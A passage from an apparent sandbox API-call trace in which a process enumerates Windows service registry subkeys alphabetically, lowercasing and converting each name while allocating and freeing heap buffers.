returned 7 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.509] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.509] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.509] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0170.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.509] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.510] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.510] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.510] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0170.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.511] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.511] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.511] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.511] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.512] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.512] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.512] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0170.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.513] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.513] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.513] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.513] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0170.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.514] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.514] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.514] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0170.514] 